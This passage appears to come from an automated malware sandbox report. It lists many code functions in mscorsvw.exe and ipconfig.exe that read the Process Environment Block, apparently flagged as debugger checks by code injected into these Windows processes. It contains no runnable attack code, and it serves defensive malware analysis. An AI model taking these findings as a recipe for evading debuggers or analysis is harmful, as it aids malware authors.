Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057103E2 mov eax, dword ptr fs:[00000030h]	2_2_057103E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0570DBE9 mov eax, dword ptr fs:[00000030h]	2_2_0570DBE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057653CA mov eax, dword ptr fs:[00000030h]	2_2_057653CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057653CA mov eax, dword ptr fs:[00000030h]	2_2_057653CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714BAD mov eax, dword ptr fs:[00000030h]	2_2_05714BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714BAD mov eax, dword ptr fs:[00000030h]	2_2_05714BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05714BAD mov eax, dword ptr fs:[00000030h]	2_2_05714BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B5BA5 mov eax, dword ptr fs:[00000030h]	2_2_057B5BA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F1B8F mov eax, dword ptr fs:[00000030h]	2_2_056F1B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F1B8F mov eax, dword ptr fs:[00000030h]	2_2_056F1B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571B390 mov eax, dword ptr fs:[00000030h]	2_2_0571B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712397 mov eax, dword ptr fs:[00000030h]	2_2_05712397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057A138A mov eax, dword ptr fs:[00000030h]	2_2_057A138A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0579D380 mov ecx, dword ptr fs:[00000030h]	2_2_0579D380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0572927A mov eax, dword ptr fs:[00000030h]	2_2_0572927A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0579B260 mov eax, dword ptr fs:[00000030h]	2_2_0579B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0579B260 mov eax, dword ptr fs:[00000030h]	2_2_0579B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057B8A62 mov eax, dword ptr fs:[00000030h]	2_2_057B8A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05774257 mov eax, dword ptr fs:[00000030h]	2_2_05774257
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9240 mov eax, dword ptr fs:[00000030h]	2_2_056E9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9240 mov eax, dword ptr fs:[00000030h]	2_2_056E9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9240 mov eax, dword ptr fs:[00000030h]	2_2_056E9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E9240 mov eax, dword ptr fs:[00000030h]	2_2_056E9240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_057AEA55 mov eax, dword ptr fs:[00000030h]	2_2_057AEA55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05724A2C mov eax, dword ptr fs:[00000030h]	2_2_05724A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05724A2C mov eax, dword ptr fs:[00000030h]	2_2_05724A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056F8A0A mov eax, dword ptr fs:[00000030h]	2_2_056F8A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05703A1C mov eax, dword ptr fs:[00000030h]	2_2_05703A1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EAA16 mov eax, dword ptr fs:[00000030h]	2_2_056EAA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056EAA16 mov eax, dword ptr fs:[00000030h]	2_2_056EAA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E5210 mov eax, dword ptr fs:[00000030h]	2_2_056E5210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E5210 mov ecx, dword ptr fs:[00000030h]	2_2_056E5210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E5210 mov eax, dword ptr fs:[00000030h]	2_2_056E5210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E5210 mov eax, dword ptr fs:[00000030h]	2_2_056E5210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712AE4 mov eax, dword ptr fs:[00000030h]	2_2_05712AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_05712ACB mov eax, dword ptr fs:[00000030h]	2_2_05712ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571FAB0 mov eax, dword ptr fs:[00000030h]	2_2_0571FAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E52A5 mov eax, dword ptr fs:[00000030h]	2_2_056E52A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E52A5 mov eax, dword ptr fs:[00000030h]	2_2_056E52A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E52A5 mov eax, dword ptr fs:[00000030h]	2_2_056E52A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E52A5 mov eax, dword ptr fs:[00000030h]	2_2_056E52A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056E52A5 mov eax, dword ptr fs:[00000030h]	2_2_056E52A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FAAB0 mov eax, dword ptr fs:[00000030h]	2_2_056FAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_056FAAB0 mov eax, dword ptr fs:[00000030h]	2_2_056FAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571D294 mov eax, dword ptr fs:[00000030h]	2_2_0571D294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Code function: 2_2_0571D294 mov eax, dword ptr fs:[00000030h]	2_2_0571D294
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346DB40 mov eax, dword ptr fs:[00000030h]	4_2_0346DB40
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03538B58 mov eax, dword ptr fs:[00000030h]	4_2_03538B58
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346F358 mov eax, dword ptr fs:[00000030h]	4_2_0346F358
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346DB60 mov ecx, dword ptr fs:[00000030h]	4_2_0346DB60
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03493B7A mov eax, dword ptr fs:[00000030h]	4_2_03493B7A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03493B7A mov eax, dword ptr fs:[00000030h]	4_2_03493B7A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352131B mov eax, dword ptr fs:[00000030h]	4_2_0352131B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E53CA mov eax, dword ptr fs:[00000030h]	4_2_034E53CA
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E53CA mov eax, dword ptr fs:[00000030h]	4_2_034E53CA
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348DBE9 mov eax, dword ptr fs:[00000030h]	4_2_0348DBE9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034903E2 mov eax, dword ptr fs:[00000030h]	4_2_034903E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03471B8F mov eax, dword ptr fs:[00000030h]	4_2_03471B8F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03471B8F mov eax, dword ptr fs:[00000030h]	4_2_03471B8F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0351D380 mov ecx, dword ptr fs:[00000030h]	4_2_0351D380
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352138A mov eax, dword ptr fs:[00000030h]	4_2_0352138A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349B390 mov eax, dword ptr fs:[00000030h]	4_2_0349B390
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492397 mov eax, dword ptr fs:[00000030h]	4_2_03492397
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494BAD mov eax, dword ptr fs:[00000030h]	4_2_03494BAD
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494BAD mov eax, dword ptr fs:[00000030h]	4_2_03494BAD
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494BAD mov eax, dword ptr fs:[00000030h]	4_2_03494BAD
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03535BA5 mov eax, dword ptr fs:[00000030h]	4_2_03535BA5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469240 mov eax, dword ptr fs:[00000030h]	4_2_03469240
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469240 mov eax, dword ptr fs:[00000030h]	4_2_03469240
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469240 mov eax, dword ptr fs:[00000030h]	4_2_03469240
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469240 mov eax, dword ptr fs:[00000030h]	4_2_03469240
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352EA55 mov eax, dword ptr fs:[00000030h]	4_2_0352EA55
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034F4257 mov eax, dword ptr fs:[00000030h]	4_2_034F4257
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A927A mov eax, dword ptr fs:[00000030h]	4_2_034A927A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0351B260 mov eax, dword ptr fs:[00000030h]	4_2_0351B260
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0351B260 mov eax, dword ptr fs:[00000030h]	4_2_0351B260
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03538A62 mov eax, dword ptr fs:[00000030h]	4_2_03538A62
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352AA16 mov eax, dword ptr fs:[00000030h]	4_2_0352AA16
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352AA16 mov eax, dword ptr fs:[00000030h]	4_2_0352AA16
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03478A0A mov eax, dword ptr fs:[00000030h]	4_2_03478A0A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346AA16 mov eax, dword ptr fs:[00000030h]	4_2_0346AA16
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346AA16 mov eax, dword ptr fs:[00000030h]	4_2_0346AA16
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03483A1C mov eax, dword ptr fs:[00000030h]	4_2_03483A1C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03465210 mov eax, dword ptr fs:[00000030h]	4_2_03465210
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03465210 mov ecx, dword ptr fs:[00000030h]	4_2_03465210
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03465210 mov eax, dword ptr fs:[00000030h]	4_2_03465210
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03465210 mov eax, dword ptr fs:[00000030h]	4_2_03465210
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A4A2C mov eax, dword ptr fs:[00000030h]	4_2_034A4A2C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A4A2C mov eax, dword ptr fs:[00000030h]	4_2_034A4A2C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492ACB mov eax, dword ptr fs:[00000030h]	4_2_03492ACB
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492AE4 mov eax, dword ptr fs:[00000030h]	4_2_03492AE4
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349D294 mov eax, dword ptr fs:[00000030h]	4_2_0349D294
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349D294 mov eax, dword ptr fs:[00000030h]	4_2_0349D294
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034652A5 mov eax, dword ptr fs:[00000030h]	4_2_034652A5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034652A5 mov eax, dword ptr fs:[00000030h]	4_2_034652A5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034652A5 mov eax, dword ptr fs:[00000030h]	4_2_034652A5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034652A5 mov eax, dword ptr fs:[00000030h]	4_2_034652A5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034652A5 mov eax, dword ptr fs:[00000030h]	4_2_034652A5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347AAB0 mov eax, dword ptr fs:[00000030h]	4_2_0347AAB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347AAB0 mov eax, dword ptr fs:[00000030h]	4_2_0347AAB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349FAB0 mov eax, dword ptr fs:[00000030h]	4_2_0349FAB0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348B944 mov eax, dword ptr fs:[00000030h]	4_2_0348B944
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348B944 mov eax, dword ptr fs:[00000030h]	4_2_0348B944
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346C962 mov eax, dword ptr fs:[00000030h]	4_2_0346C962
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346B171 mov eax, dword ptr fs:[00000030h]	4_2_0346B171
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346B171 mov eax, dword ptr fs:[00000030h]	4_2_0346B171
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469100 mov eax, dword ptr fs:[00000030h]	4_2_03469100
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469100 mov eax, dword ptr fs:[00000030h]	4_2_03469100
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469100 mov eax, dword ptr fs:[00000030h]	4_2_03469100
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120 mov eax, dword ptr fs:[00000030h]	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120 mov eax, dword ptr fs:[00000030h]	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120 mov eax, dword ptr fs:[00000030h]	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120 mov eax, dword ptr fs:[00000030h]	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03484120 mov ecx, dword ptr fs:[00000030h]	4_2_03484120
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349513A mov eax, dword ptr fs:[00000030h]	4_2_0349513A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349513A mov eax, dword ptr fs:[00000030h]	4_2_0349513A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034F41E8 mov eax, dword ptr fs:[00000030h]	4_2_034F41E8
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0346B1E1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0346B1E1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346B1E1 mov eax, dword ptr fs:[00000030h]	4_2_0346B1E1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348C182 mov eax, dword ptr fs:[00000030h]	4_2_0348C182
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A185 mov eax, dword ptr fs:[00000030h]	4_2_0349A185
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492990 mov eax, dword ptr fs:[00000030h]	4_2_03492990
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E69A6 mov eax, dword ptr fs:[00000030h]	4_2_034E69A6
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034961A0 mov eax, dword ptr fs:[00000030h]	4_2_034961A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034961A0 mov eax, dword ptr fs:[00000030h]	4_2_034961A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E51BE mov eax, dword ptr fs:[00000030h]	4_2_034E51BE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E51BE mov eax, dword ptr fs:[00000030h]	4_2_034E51BE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E51BE mov eax, dword ptr fs:[00000030h]	4_2_034E51BE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E51BE mov eax, dword ptr fs:[00000030h]	4_2_034E51BE
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03480050 mov eax, dword ptr fs:[00000030h]	4_2_03480050
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03480050 mov eax, dword ptr fs:[00000030h]	4_2_03480050
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03522073 mov eax, dword ptr fs:[00000030h]	4_2_03522073
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03531074 mov eax, dword ptr fs:[00000030h]	4_2_03531074
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03534015 mov eax, dword ptr fs:[00000030h]	4_2_03534015
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03534015 mov eax, dword ptr fs:[00000030h]	4_2_03534015
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7016 mov eax, dword ptr fs:[00000030h]	4_2_034E7016
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7016 mov eax, dword ptr fs:[00000030h]	4_2_034E7016
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7016 mov eax, dword ptr fs:[00000030h]	4_2_034E7016
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349002D mov eax, dword ptr fs:[00000030h]	4_2_0349002D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349002D mov eax, dword ptr fs:[00000030h]	4_2_0349002D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349002D mov eax, dword ptr fs:[00000030h]	4_2_0349002D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349002D mov eax, dword ptr fs:[00000030h]	4_2_0349002D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349002D mov eax, dword ptr fs:[00000030h]	4_2_0349002D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347B02A mov eax, dword ptr fs:[00000030h]	4_2_0347B02A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347B02A mov eax, dword ptr fs:[00000030h]	4_2_0347B02A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347B02A mov eax, dword ptr fs:[00000030h]	4_2_0347B02A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347B02A mov eax, dword ptr fs:[00000030h]	4_2_0347B02A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov eax, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov ecx, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov eax, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov eax, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov eax, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FB8D0 mov eax, dword ptr fs:[00000030h]	4_2_034FB8D0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034658EC mov eax, dword ptr fs:[00000030h]	4_2_034658EC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03469080 mov eax, dword ptr fs:[00000030h]	4_2_03469080
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E3884 mov eax, dword ptr fs:[00000030h]	4_2_034E3884
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E3884 mov eax, dword ptr fs:[00000030h]	4_2_034E3884
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A90AF mov eax, dword ptr fs:[00000030h]	4_2_034A90AF
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034920A0 mov eax, dword ptr fs:[00000030h]	4_2_034920A0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349F0BF mov ecx, dword ptr fs:[00000030h]	4_2_0349F0BF
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349F0BF mov eax, dword ptr fs:[00000030h]	4_2_0349F0BF
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349F0BF mov eax, dword ptr fs:[00000030h]	4_2_0349F0BF
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347EF40 mov eax, dword ptr fs:[00000030h]	4_2_0347EF40
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347FF60 mov eax, dword ptr fs:[00000030h]	4_2_0347FF60
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03538F6A mov eax, dword ptr fs:[00000030h]	4_2_03538F6A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A70E mov eax, dword ptr fs:[00000030h]	4_2_0349A70E
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A70E mov eax, dword ptr fs:[00000030h]	4_2_0349A70E
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0353070D mov eax, dword ptr fs:[00000030h]	4_2_0353070D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0353070D mov eax, dword ptr fs:[00000030h]	4_2_0353070D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348F716 mov eax, dword ptr fs:[00000030h]	4_2_0348F716
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FFF10 mov eax, dword ptr fs:[00000030h]	4_2_034FFF10
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FFF10 mov eax, dword ptr fs:[00000030h]	4_2_034FFF10
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03464F2E mov eax, dword ptr fs:[00000030h]	4_2_03464F2E
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03464F2E mov eax, dword ptr fs:[00000030h]	4_2_03464F2E
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349E730 mov eax, dword ptr fs:[00000030h]	4_2_0349E730
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A37F5 mov eax, dword ptr fs:[00000030h]	4_2_034A37F5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03478794 mov eax, dword ptr fs:[00000030h]	4_2_03478794
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7794 mov eax, dword ptr fs:[00000030h]	4_2_034E7794
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7794 mov eax, dword ptr fs:[00000030h]	4_2_034E7794
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E7794 mov eax, dword ptr fs:[00000030h]	4_2_034E7794
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03477E41 mov eax, dword ptr fs:[00000030h]	4_2_03477E41
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352AE44 mov eax, dword ptr fs:[00000030h]	4_2_0352AE44
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352AE44 mov eax, dword ptr fs:[00000030h]	4_2_0352AE44
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347766D mov eax, dword ptr fs:[00000030h]	4_2_0347766D
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348AE73 mov eax, dword ptr fs:[00000030h]	4_2_0348AE73
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348AE73 mov eax, dword ptr fs:[00000030h]	4_2_0348AE73
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348AE73 mov eax, dword ptr fs:[00000030h]	4_2_0348AE73
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348AE73 mov eax, dword ptr fs:[00000030h]	4_2_0348AE73
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348AE73 mov eax, dword ptr fs:[00000030h]	4_2_0348AE73
